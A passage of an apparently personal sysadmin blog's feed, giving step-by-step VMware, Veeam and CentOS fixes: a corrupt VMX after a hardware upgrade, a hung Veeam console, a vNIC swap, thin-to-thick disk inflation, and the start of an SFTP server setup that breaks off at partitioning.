&lt;p&gt;Now comes the part where we attach the old/new disk to the new server. Open up the VM properties and select “Existing virtual disk” in the hardware tab:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190701-file-server-migration/Screenshot-from-2018-06-05-13-16-19.png&#34; alt=&#34;Screenshot-from-2018-06-05-13-16-19&#34;&gt;&lt;/p&gt;
&lt;p&gt;After clicking “Add” button, browse to the location where the disk is located and select it. Save the configuration wizard and exit the VM properties dialog.&lt;/p&gt;
&lt;p&gt;Now comes the last step; connect to the new file server and open up the disk management utility. Once you’re inside, select the option to scan for the new disks – the disk you’ve just attached should appear in a minute:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190701-file-server-migration/Screenshot-from-2018-06-05-13-19-31.png&#34; alt=&#34;Screenshot-from-2018-06-05-13-19-31&#34;&gt;&lt;/p&gt;
&lt;p&gt;After the scan process finishes, you should be able to see the new disk. It is now offline, so we need to bring it up before Windows recognizes it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190701-file-server-migration/Screenshot-from-2018-06-05-13-20-56.png&#34; alt=&#34;Screenshot-from-2018-06-05-13-20-56&#34;&gt;&lt;/p&gt;
&lt;p&gt;You can do the same now on the old server if you’ve copied the disk instead of migrating it.&lt;/p&gt;
&lt;p&gt;Aaaand that’s it. Checking the NTFS permissions from the new Windows Server, all the NTFS permissions have been retained. Only the shares need to be recreated since the server name has changed. All stored data are available to users again in a transparent way. The administrators only need to configure the new disk map in AD to point to the shares of the new server.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Corrupt VMX file after vHardware upgrade</title>
      <link>/posts/190601-corrupt-vmx-vhardware-upgrade/</link>
      <pubDate>Sat, 01 Jun 2019 00:00:00 +0000</pubDate>
      
      <guid>/posts/190601-corrupt-vmx-vhardware-upgrade/</guid>
      <description>Few days ago, I was doing regular upgrades within one of the vSphere environments I’m responsible for. During these upgrades, I’ve noticed there are some Windows 2008 R2 servers still on vHardware version 10. Obviously, I decided to go ahead and upgrade them too. Little did I know how’s that’s going to end up…
The upgrade itself went pretty straight forward. The VM was powered off correctly from within the guest OS and the upgrade apparently was supposed to run on the next boot up.</description>
      <content>&lt;p&gt;Few days ago, I was doing regular upgrades within one of the vSphere environments I’m responsible for. During these upgrades, I’ve noticed there are some Windows 2008 R2 servers still on vHardware version 10. Obviously, I decided to go ahead and upgrade them too. Little did I know how’s that’s going to end up…&lt;/p&gt;
&lt;p&gt;The upgrade itself went pretty straight forward. The VM was powered off correctly from within the guest OS and the upgrade apparently was supposed to run on the next boot up. I tasked vCenter with powering on the VM and moved on.&lt;/p&gt;
&lt;p&gt;After two or three hours, I was preparing to finish up and write a report for the changes I committed when I’ve noticed one of the W2008R2 VMs was still off.&lt;/p&gt;
&lt;p&gt;I must have missed it – I thought and launched the power on operation again… only to see it fail with the following error:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The destination host is not compatible with the hardware version to which the virtual machine is scheduled to be upgraded. In order to proceed with the operation, virtual machine’s scheduled compatibility upgrade should be disabled.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Hmmm… the scheduled upgrade? I thought the VM was already upgraded… I opened up the VM page and double checked the current version of the vHardware.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190601-corrupt-vmx-vhardware-upgrade/vmhardware13.png&#34; alt=&#34;vmhardware13&#34;&gt;&lt;/p&gt;
&lt;p&gt;Ok, that was getting annoying. As you can see, the VM hardware version was already 13, so there was no way there was yet another “scheduled upgrade” on this VM. All of the 6 hosts in the environment should be able to handle this VM. Something was wrong.&lt;/p&gt;
&lt;p&gt;I decided to open up the VMX file of that VM to check it for errors. I’ve logged into the ESXi hosting it and open up the VMX with vi editor:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;root@esxi-4 # vi ./win2008.vmx&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Surprisingly, I’ve found out that this VM is in fact waiting for an upgrade (your guess is as good as mine) as the following records were present in the VMX file:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;(...)
virtualHW.scheduledUpgrade.when = &amp;#34;always&amp;#34;&amp;lt;/strong&amp;gt;```
  
virtualHW.version=&amp;#34;13&amp;#34;  
&amp;lt;strong&amp;gt;virtualHW.scheduledUpgrade.state = &amp;#34;done&amp;#34;&amp;lt;/strong&amp;gt;  
guestOS=&amp;#34;win2008r2&amp;#34;  
&amp;lt;strong&amp;gt;tools.upgrade.policy = &amp;#34;upgradeAtPowerCycle&amp;#34;&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&amp;lt;/strong&amp;gt;(...)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;What this meant was that the VM was still scheduled to upgrade on the next boot up, even thought it was already on the highest version possible. Because of it, none of the hosts was willing run it (as the hosts “figured out” the VM must be right and there must be a newer VM version they are not aware of yet).&lt;/p&gt;
&lt;p&gt;I’ve decided to remove those records and see if that fixes the problem. Firstly, I took a backup of the VMX file as it is just in case:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;root@esxi-4 # cp ./win2008.vmx win2008.vmx.bak&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Having that done, I open up the VMX yet again and deleted all three of the records mentioned above:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;root@esxi-4 # vi ./win2008.vmx  
(...)virtualHW.scheduledUpgrade.when = &amp;#34;always&amp;#34;  
virtualHW.version=&amp;#34;13&amp;#34;  
virtualHW.scheduledUpgrade.state = &amp;#34;done&amp;#34;  
guestOS=&amp;#34;win2008r2&amp;#34;  
tools.upgrade.policy = &amp;#34;upgradeAtPowerCycle&amp;#34;
(...)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Just a reminded for all of you reading unaware of vi commands: to save the file type in &lt;code&gt;:w&lt;/code&gt; and then press enter; to exit the editor type in &lt;code&gt;:q&lt;/code&gt; and then press enter. On regular Li/Unix version of vi editor, you should be able to save&amp;amp;quit by just running &lt;code&gt;:wq&lt;/code&gt; command, but it is unfortunately unsupported on ESXi version.&lt;/p&gt;
&lt;p&gt;After saving the file and exiting the ESXi shell, I tried to power on the VM again… and it worked!&lt;/p&gt;
&lt;p&gt;I hope this blog will help other people who might stumble across such problem in the future, because I thought for a second (before I found the faulty records) I might have to restore that VM and waste much more time on it than I finally did.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Stuck Veeam Console</title>
      <link>/posts/190501-stuck-veeam-console/</link>
      <pubDate>Wed, 01 May 2019 00:00:00 +0000</pubDate>
      
      <guid>/posts/190501-stuck-veeam-console/</guid>
      <description>Veeam Management Console is a handy application usually found on the main Veeam server within the infrastructure or on a dedicated “Console” server. While the console itself is pretty awesome, it is sometimes quite tedious to troubleshoot or repair. Today we’re going to learn how to fix it without a reboot.
Last week, our service desk reported they cannot prepare a Veeam backup report today as the management (console) server has a problem.</description>
      <content>&lt;p&gt;Veeam Management Console is a handy application usually found on the main Veeam server within the infrastructure or on a dedicated “Console” server. While the console itself is pretty awesome, it is sometimes quite tedious to troubleshoot or repair. Today we’re going to learn how to fix it without a reboot.&lt;/p&gt;
&lt;p&gt;Last week, our service desk reported they cannot prepare a Veeam backup report today as the management (console) server has a problem. After calling one of the guys, I’ve learned the problem is quite simple – the console doesn’t start. After launching the Veeam Management Console application either nothing happens or the big Veeam graphic remains on the screen forever.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190501-stuck-veeam-console/veeamloading.jpg&#34; alt=&#34;veeamloading&#34;&gt;&lt;/p&gt;
&lt;p&gt;This is quite usual problem with Veeam and pretty easy to fix – reboot the server and off you go. This time however, the issue struck a Veeam server located on site which is not quite reboot-friendly. Even though we are the main “infrastructure” guys for that particular sire, we do not have the right to just restart whatever we want.&lt;/p&gt;
&lt;p&gt;Usually, the story would end here. The service desk guys would raise a request to reboot the VM hosting the Veeam management console and after a couple of hours spent waiting for the infrastructure owner to green light the request, they would be able to finish their report.&lt;/p&gt;
&lt;p&gt;This time however, I decided to step in and fix it another way. After about 20 minutes the issue was gone.&lt;/p&gt;
&lt;p&gt;Below, you can find the exact steps I took to resolve this problem and restore access to the management console. This is a result of multiple approaches I tried out in my helpdesk days to get Veeam up and running. You won’t really find this anywhere else, as Veeam Support doesn’t really like this method being talked about anywhere outside their support line…&lt;/p&gt;
&lt;p&gt;Anyway, here are the steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Log into the server hosting the Veeam Console. Open up the Services wizard (“services.msc” or Server Manager-&amp;gt;Services or Task Manager-&amp;gt;Services).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Restart all Veeam-related services; this includes Veeam Proxy service, Veeam Catalog service etc. etc. Restart the services one by one, &lt;strong&gt;ending&lt;/strong&gt; with Veeam Backup Service – this one needs to be restarted last for this method to work.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Restarting Veeam Backup Service &lt;strong&gt;will fail&lt;/strong&gt; with “service started and then stopped” – we want this to happen. Ignore the error and move on to the next step.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open up Task Manager if it’s not already opened and go to running programs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Force shutdown all Veeam-related, SQL-related and IIS-related programs (order doesn’t matter here); this includes SQL server instances, Veeam Management Console instances etc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go back to Services.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Firstly, start SQL Server for Veeam (it shouldn’t be running now as we just killed its parent process).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Start IIS (if needed; you can skip this if your this Veeam server doesn’t host Veeam One etc.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Start Veeam Backup Service (&lt;strong&gt;only this one service&lt;/strong&gt;; the other services will start automatically afterwards)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Start Veeam Console; the Veeam loading screen will re-appear again, but this time it shouldn’t take longer than 2min for it to disappear and open the main Veeam window.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190501-stuck-veeam-console/veeamgui.png&#34; alt=&#34;veeamgui&#34;&gt;&lt;/p&gt;
&lt;p&gt;Veeam Console should start up now just fine. You’re more than welcome!&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Replacing E1000 with VMXNET3</title>
      <link>/posts/190401-replacing-vnic/</link>
      <pubDate>Mon, 01 Apr 2019 00:00:00 +0000</pubDate>
      
      <guid>/posts/190401-replacing-vnic/</guid>
      <description>Virtual Network Interface Cards (vNIC) are sometimes getting overlooked by virtualization administrators as for some it seems like they don’t matter much. Let’s see what happens after we switch good ol’ E1000 for VMXNET3 and what is the difference between the two.
E1000, VMXNET3 – what, why, which?
E1000, VMXNET2, VMXNET3 etc. etc. are virtual NIC (network interface card) types available to use within VMware ESXi/vSphere environment. If you’re wondering – VMware recommends to use the VMXNET3 Virtual NIC unless there is a specific driver or compatibility reason where it cannot be used.</description>
      <content>&lt;p&gt;Virtual Network Interface Cards (vNIC) are sometimes getting overlooked by virtualization administrators as for some it seems like they don’t matter much. Let’s see what happens after we switch good ol’ E1000 for VMXNET3 and what is the difference between the two.&lt;/p&gt;
&lt;p&gt;E1000, VMXNET3 – what, why, which?&lt;/p&gt;
&lt;p&gt;E1000, VMXNET2, VMXNET3 etc. etc. are virtual NIC (network interface card) types available to use within VMware ESXi/vSphere environment. If you’re wondering – VMware recommends to use the VMXNET3 Virtual NIC unless there is a specific driver or compatibility reason where it cannot be used. However in many cases, the E1000 has been installed, since it is the default NIC chosen during the VM creation and most of less-experienced virtualizarion admins don’t bother to change it.&lt;/p&gt;
&lt;p&gt;Speaking of E1000, it is a software emulation of a 1 GB network card, commonly available on Intel based devices and most operating systems include built in support. Because of that there is no special driver required to make it operate in a virtual environment. The problem is that the virtual device is just as described, a piece of software acting as if it was hardware. That can lead to performance issues as the host’s CPU is required to take care of the processing normally done on a separate ASIC (Application-Specific Integrated Circuit).&lt;/p&gt;
&lt;p&gt;VMware definition:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;An emulated version of the Intel 82545EM Gigabit Ethernet NIC. A driver for this NIC is not included with all guest operating systems. Typically Linux versions 2.4.19 and later, Windows XP Professional x64 Edition and later, and Windows Server 2003 (32-bit) and later include the E1000 driver.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;On the other hand, we’ve got VMXNET3 virtual NIC, which is a completely virtualized 10 GB NIC with drivers and network processing are integrated with the ESXi hypervisor. That means there is no additional processing required to emulate a hardware device and network performance is much better. There is no native VMXNET device driver in some operating systems such as Windows 2008 R2 and RedHat/CentOS 5 so VMware Tools is required to obtain the driver.&lt;/p&gt;
&lt;p&gt;VMware definition:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The VMXNET virtual network adapter has no physical counterpart. VMXNET is optimized for performance in a virtual machine. Because operating system vendors do not provide built-in drivers for this card, you must install VMware Tools to have a driver for the VMXNET network adapter available.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;replacing-e1000-nic-with-vmxnet3-on-productionlive-vm&#34;&gt;Replacing E1000 NIC with VMXNET3 on production/live VM&lt;/h2&gt;
&lt;p&gt;Having all that said, we can move onto the main subject of this post, which is replacing E1000 with VMXNET3 on a live (i.e. already existing) VM. This process can be pretty easy or very hard depending on the networking setup in your environment, however in most of the cases, it shouldn’t be too problematic for an experienced VMware admin.&lt;/p&gt;
&lt;p&gt;The first step we need to take is to ask ourselves do we know everything about the current network settings in our environment and the VM in question. You have to keep in my mind we will be REPLACING a network card on it, not upgrading it. This means we WILL have to re-do the network configuration on the OS level (or at least make sure DHCP doesn’t screw us over) and double check which approach should we take (preserving or discarding the original MAC address).&lt;/p&gt;
&lt;p&gt;In my example, we’re going to assume we’re working in an environment with MAC filtering setup on all network devices and no DHCP. This means we will have to make sure the MAC address stays the same after we replace the NIC and re-configure the network settings on the OS level after the change-over.&lt;/p&gt;
&lt;p&gt;Let’s begin by gathering the current network configuration from the guest OS of the VM we’ll be replacing the NIC on. Obviously, you can skip that if you have all the details noted down already.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows Systems – the easiest way to gather all network settings configured on the NIC is through Windows Command Line (CMD). Open it up by (if on desktop), by typing in “cmd” in the search box in the Start menu and pressing enter. The command we need to run now is:&lt;br&gt;
&lt;code&gt;C:&amp;gt; ipconfig /all&lt;/code&gt;&lt;br&gt;
The above command will return something like this:&lt;br&gt;
&lt;code&gt;Ethernet adapter E1000-LAN:&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Connection-specific DNS Suffix : paulwilk.net&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Description : Intel&amp;lt;R&amp;gt; PRO/1000 MT Network Connection&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Physical Address : 00-50-56-66-66-66&lt;/code&gt;&lt;br&gt;
&lt;code&gt;DHCP Enabled : No&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Autoconfiguration Enabled : Yes&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;&lt;code&gt;IPv4 Address : 10.0.0.100&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;&lt;code&gt;Subnet Mask : 255.255.255.0&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;&lt;code&gt;Default Gateway : 10.0.0.1&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;&lt;code&gt;DNS Servers : 10.0.0.10&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;NetBIOS ober Tcpip : Enabled&lt;/code&gt;&lt;br&gt;
As you can clearly see in the output above, the network configuration on this adapter is 10.0.0.100/24, gateway 10.0.0.10, DNS 10.0.0.10. You can also note down the MAC address, however this part is actually pretty easy to get from vSphere/ESXi, so there’s not really a need to do that now.&lt;/li&gt;
&lt;li&gt;Linux/BSD/*nix Systems – network settings can be obtained from *nix systems in pretty similar fashion. The command which we need to run can be different on some distributions, but in most of the cases, all we have to do on a typical *nix system is to open up the terminal and run:&lt;br&gt;
&lt;code&gt;root@linux # ip address&lt;/code&gt;&lt;br&gt;
&lt;code&gt;root@linux # ip route&lt;/code&gt;&lt;br&gt;
&lt;code&gt;root@linux # cat /etc/resolv.conf&lt;/code&gt;&lt;br&gt;
The first command will show us the IP address and the network mask of the interface:&lt;br&gt;
&lt;code&gt;1: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc mq state UP group default qlen 1000&lt;/code&gt;&lt;br&gt;
&lt;code&gt; link/ether 00-50-56-66-66-66 brd ff:ff:ff:ff:ff:ff&lt;/code&gt;&lt;br&gt;
&lt;em&gt;&lt;strong&gt;&lt;code&gt;inet 10.0.0.100/24 brd 10.0.0.255 scope global dynamic noprefixroute eth0&lt;/code&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br&gt;
&lt;code&gt; valid_lft 77008sec preferred_lft 77008sec&lt;/code&gt;&lt;br&gt;
The second command will show us the current default gateway set on the OS:&lt;br&gt;
&lt;code&gt;default via&amp;lt;strong&amp;gt; 10.0.0.1&amp;lt;/strong&amp;gt; dev eth0 proto dhcp src 10.0.0.100 metric 302&lt;/code&gt;&lt;br&gt;
And the last command will show us the currently used DNS nameserver:&lt;br&gt;
&lt;code&gt;# Generated by resolvconf&lt;/code&gt;&lt;br&gt;
&lt;em&gt;&lt;strong&gt;&lt;code&gt; nameserver &amp;lt;strong&amp;gt;10.0.0.10&lt;/code&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br&gt;
In summary, we now know this VMs basic network configuration which is 10.0.0.100/24, gateway 10.0.0.1 and DNS 10.0.0.10. Again, you can also note down the MAC address, however this part is actually pretty easy to get from vSphere/ESXi, so there’s not really a need to do that now.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After getting the network settings off the VM, we can now focus on the NIC itself. Let’s log into the vCenter/ESXi host responsible for running that VM and open its control page.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190401-replacing-vnic/vmx1.png&#34; alt=&#34;vmx1&#34;&gt;&lt;/p&gt;
&lt;p&gt;Firstly, we need to power down the VM. NIC replacement is a hardware level change which cannot be done while the machine is running. The easiest way to stop the VM is to click the stop button on the upper ribbon. If you’re concerned about your guest OS, you can also log into the VM and turn it down from within.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190401-replacing-vnic/vmx2.png&#34; alt=&#34;vmx2&#34;&gt;&lt;/p&gt;
&lt;p&gt;After the VM shuts down completely, open up its settings and navigate to the hardware tab. Expand the Network Interface to view the current card and its MAC address – here’s the part where we note it down for later.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190401-replacing-vnic/vmx3.png&#34; alt=&#34;vmx3&#34;&gt;&lt;/p&gt;
&lt;p&gt;Click the ‘X’ button to remove the card from the VM.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190401-replacing-vnic/vmx4.png&#34; alt=&#34;vmx4&#34;&gt;&lt;/p&gt;
&lt;p&gt;Click “add new device” and select “network card”&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190401-replacing-vnic/vmx5.png&#34; alt=&#34;vmx5&#34;&gt;&lt;/p&gt;
&lt;p&gt;Expand the newly added card’s properties and select “custom” under MAC address. Now you can type in the missing 3 pairs to match the MAC of the card we removed previously.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190401-replacing-vnic/vmx6.png&#34; alt=&#34;vmx6&#34;&gt;&lt;/p&gt;
&lt;p&gt;Having that done, scroll a bit lower to see the NIC type selection menu. Select it and choose VMXNET3 from the list.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190401-replacing-vnic/vmx7.png&#34; alt=&#34;vmx7&#34;&gt;&lt;/p&gt;
&lt;p&gt;Save the settings and power up the VM. You can now log back into it and configure the new NIC with the network details of the previous card we’ve noted down earlier.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Thin to thick vmdk conversion</title>
      <link>/posts/190301-thin-to-thick-vmdk/</link>
      <pubDate>Fri, 01 Mar 2019 00:00:00 +0000</pubDate>
      
      <guid>/posts/190301-thin-to-thick-vmdk/</guid>
      <description>Let’s talk about virtual disks a bit – today we’re going to convert a VMDK from thin to thick provisioning. This operation is quite simple and doesn’t really require much preparation, however I thought I’ll post a quickie about it as after googling a bit, I couldn’t find an easy step-by-step guide anywhere.
1. Introduction Before we begin, there are few things I would like to mention first:
Thin vs Thick Disk Provisioning – In thin provisioned disks, the size of the VMDK (at any point in time) is as much as the amount of data written out from the VM.</description>
      <content>&lt;p&gt;Let’s talk about virtual disks a bit – today we’re going to convert a VMDK from thin to thick provisioning. This operation is quite simple and doesn’t really require much preparation, however I thought I’ll post a quickie about it as after googling a bit, I couldn’t find an easy step-by-step guide anywhere.&lt;/p&gt;
&lt;h2 id=&#34;1-introduction&#34;&gt;1. Introduction&lt;/h2&gt;
&lt;p&gt;Before we begin, there are few things I would like to mention first:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Thin vs Thick Disk Provisioning – In thin provisioned disks, the size of the VMDK (at any point in time) is as much as the amount of data written out from the VM. In thick format, the VMDK is provisioned and whenever a guest issues a write it is zeroed first and then the data is written. The size of the VMDK on the datastore is same as the size of the virtual disk that was created. Optionally, the thick disk can also be eagerly zeroed which means the VMDK is pre-zeroed and assigned to the guest during provisioning of the VMFS volume.&lt;/li&gt;
&lt;li&gt;Requirements – Converting the VMDK from thin to thick provisioning cannot be done while the VM using it is powered on. Before proceeding, make sure you have a successful backup before carrying out any of the steps below.&lt;/li&gt;
&lt;li&gt;Reason – Thick provisioning will not improve the guest OS performance in any way. Please see the chart below for details:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190301-think-to-thick-vmdk/thinvsthickchart.jpg&#34; alt=&#34;thinvsthickchart&#34;&gt;&lt;/p&gt;
&lt;p&gt;Having all of that said, we can move on to the conversion process itself.&lt;/p&gt;
&lt;h2 id=&#34;2-the-thin2thick-conversion&#34;&gt;2. The Thin2Thick Conversion&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Power down the VM, if the VMDK you want to convert is currently in use by one;&lt;/li&gt;
&lt;li&gt;In vSphere (or ESXi) web GUI, navigate to the ‘Storage’ tab;&lt;br&gt;
&lt;img src=&#34;/posts/190301-think-to-thick-vmdk/storagetab.png&#34; alt=&#34;storagetab&#34;&gt;&lt;/li&gt;
&lt;li&gt;Select the datastore hosting the VMDK which you want to convert;&lt;/li&gt;
&lt;li&gt;Select the ‘Browse’ button (red) and navigate in the following menu to the VMDK file;&lt;br&gt;
&lt;img src=&#34;/posts/190301-think-to-thick-vmdk/browsebutton.png&#34; alt=&#34;browsebutton&#34;&gt;&lt;/li&gt;
&lt;li&gt;Right click on the VMDK file and select ‘inflate’*&lt;br&gt;
&lt;img src=&#34;/posts/190301-think-to-thick-vmdk/inflate-1.png&#34; alt=&#34;inflate-1&#34;&gt;&lt;/li&gt;
&lt;li&gt;The disk inflation process can take some time depending on the provisioned size of the disk and your storage type. For disks smaller than 1TB this process shouldn’t take longer than 10min;&lt;/li&gt;
&lt;li&gt;After the inflation process finishes, we need to reload the VMX file of the VM using the inflated VMDK. We can achieve that in two ways: - if you don’t care about the VM’s Inventory ID, simply remove the VM from the inventory and add it back again;
&lt;ul&gt;
&lt;li&gt;To keep the current Inventory ID of the VM, firstly we need to log through SSH into the ESXi host on which the VM is located.&lt;/li&gt;
&lt;li&gt;Run the following command to find the VM’s current Inventory ID:
&lt;code&gt;[root@esxi] # vim-cmd vmsvc/getallvms&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Vmid Name File Guest OS Version Annotation&lt;/code&gt;&lt;br&gt;
&lt;code&gt;1269 Thin2ThickVM [local] Win .vmx winNetEnterpriseGuest vmx-09 example VM&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After getting the Inventory ID, we can run the following command to reload the VMX file:&lt;br&gt;
&lt;code&gt;[root@esxi] # vim-cmd vmsvc/reload 1269&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If the ‘inflate’ option is missing then it means the VMDK you’re trying to convert is already thick provisioned, while if the ‘inflate’ option.&lt;/p&gt;
&lt;p&gt;After reloading the VMX file, the change we’ve applied to the VMDK should now be visible in vCenter/ESXi GUI. You can now safely turn on the VM and check if it’s alright.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>SFTP Linux Server Setup</title>
      <link>/posts/190201-sftp-server/</link>
      <pubDate>Fri, 01 Feb 2019 00:00:00 +0000</pubDate>
      
      <guid>/posts/190201-sftp-server/</guid>
      <description>I’d like to dedicate this post to my dear friend – C.P. – who once said:
”How the f!!k do you setup FTP on this stupid OS”
His words game me inspiration, an idea for the best post this blog will ever be a home of: How to setup an SFTP server in the fastest, easiest and just secure enough to be acceptable.
Without any further introduction, let’s begin:
1. The operating system In this example, we’re going to use the same OS as always – CentOS 7, which you can get the .</description>
      <content>&lt;p&gt;I’d like to dedicate this post to my dear friend – C.P. – who once said:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;”How the f!!k do you setup FTP on this stupid OS”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;His words game me inspiration, an idea for the best post this blog will ever be a home of: How to setup an SFTP server in the fastest, easiest and just secure enough to be acceptable.&lt;/p&gt;
&lt;p&gt;Without any further introduction, let’s begin:&lt;/p&gt;
&lt;h2 id=&#34;1-the-operating-system&#34;&gt;1. The operating system&lt;/h2&gt;
&lt;p&gt;In this example, we’re going to use the same OS as always – CentOS 7, which you can get the .iso file for it from the official &lt;a href=&#34;https://www.centos.org/download/&#34;&gt;CentOS Project website&lt;/a&gt; I suggest you should select the minimal .iso in this case, as we won’t be really using any extra features of CentOS, however you might want to get DVD or Everything .iso if your internet connectivity is slow or restricted.&lt;/p&gt;
&lt;p&gt;After downloading the .iso file, we can get in on either a DVD disk or USB. I prefer to always use USB sticks, however feel free to burn the .iso to a DVD disk if you feel like it. Putting the .iso file onto a USB drive can be achieved either using &lt;a href=&#34;https://rufus.akeo.ie/&#34;&gt;Rufus&lt;/a&gt; on Windows or dd command on Linux/OS X:
&lt;code&gt;sudo dd bs=4M if=absolute/path/to/iso of=/dev/yourusbid status=progress oflag=sync&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Once we get the CentOS installation media ready, we can start setting it up on either a VM or a physical machine which is going to be our SFTP server.&lt;/p&gt;
&lt;p&gt;After selecting the USB drive/DVD/iso file as the boot device, the first thing we’re going to see is the screen below, where you can select to either go straight to the OS installation or test the media first and then install. Feel free to choose whichever suits you:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190201-sftp-server/cos1.png&#34; alt=&#34;cos1&#34;&gt;&lt;/p&gt;
&lt;p&gt;After a while, the system will load the basic installation scripts, drivers etc. and continue to the main GUI.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190201-sftp-server/cos2.png&#34; alt=&#34;cos2&#34;&gt;&lt;/p&gt;
&lt;p&gt;First thing we need to do in the main installation interface is to select a language and the keyboard layout&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190201-sftp-server/cos3.png&#34; alt=&#34;cos3&#34;&gt;)&lt;/p&gt;
&lt;p&gt;The next step, present screen prompt is Installation Summary. It contains a lot of options to fully customize your system.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190201-sftp-server/cos4.png&#34; alt=&#34;cos4&#34;&gt;&lt;/p&gt;
&lt;p&gt;As you’ve probably guessed by now – most of the options in the “Localization” category are already configured at this point. The only thing you might want to double check is “Date &amp;amp; Time” as sometimes the installation script guesses it incorrectly.&lt;/p&gt;
&lt;p&gt;The second category – “Software” – is where the real fun begins. Here you can play around with two really important installation options: the “Installation Source” and “Software Selection”.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Installation Source – this can be very useful for those of you having a local CentOS repository; for everyone else – not so much. The default setting will work without any issues in most environments.
&lt;img src=&#34;/posts/190201-sftp-server/cos6-1.png&#34; alt=&#34;cos6-1&#34;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Software Selection – here’s something fun: choosing the applications to be installed along with the OS. In this guide, all we need is only the “Minimal Install” with “Compatibility Layer” add-on. You can browse through the other categories to see what else CentOS has to offer. If you wish to have a desktop user interface in your system, select “Server with GUI” or “GNOME Desktop”.
&lt;img src=&#34;/posts/190201-sftp-server/cos7.png&#34; alt=&#34;cos7&#34;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ok, we’re nearly finished. The last two steps we need to take in here are drive partitioning and network configuration. Let’s start with drive partitioning:&lt;/p&gt;
&lt;p&gt;Drive partitioning can be two things – an easy journey or a metal exercise. If you wish to just get on with it and don’t care about the specifics, select the “Automatically configure partitioning” (red); however, if you belong to the poor souls who wish to create the partition table themselves, select “I will configure partitioning” (black). I won’t be going through all the configuration options in the manual partitioning approach, as this is a bit too big of a topic for a quickie. Select “Done” after you make all the necessary changes in this wizard.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/190201-sftp-server/cos8.png&#34; alt=&#34;cos8&#34;&gt;&lt;/p&gt;
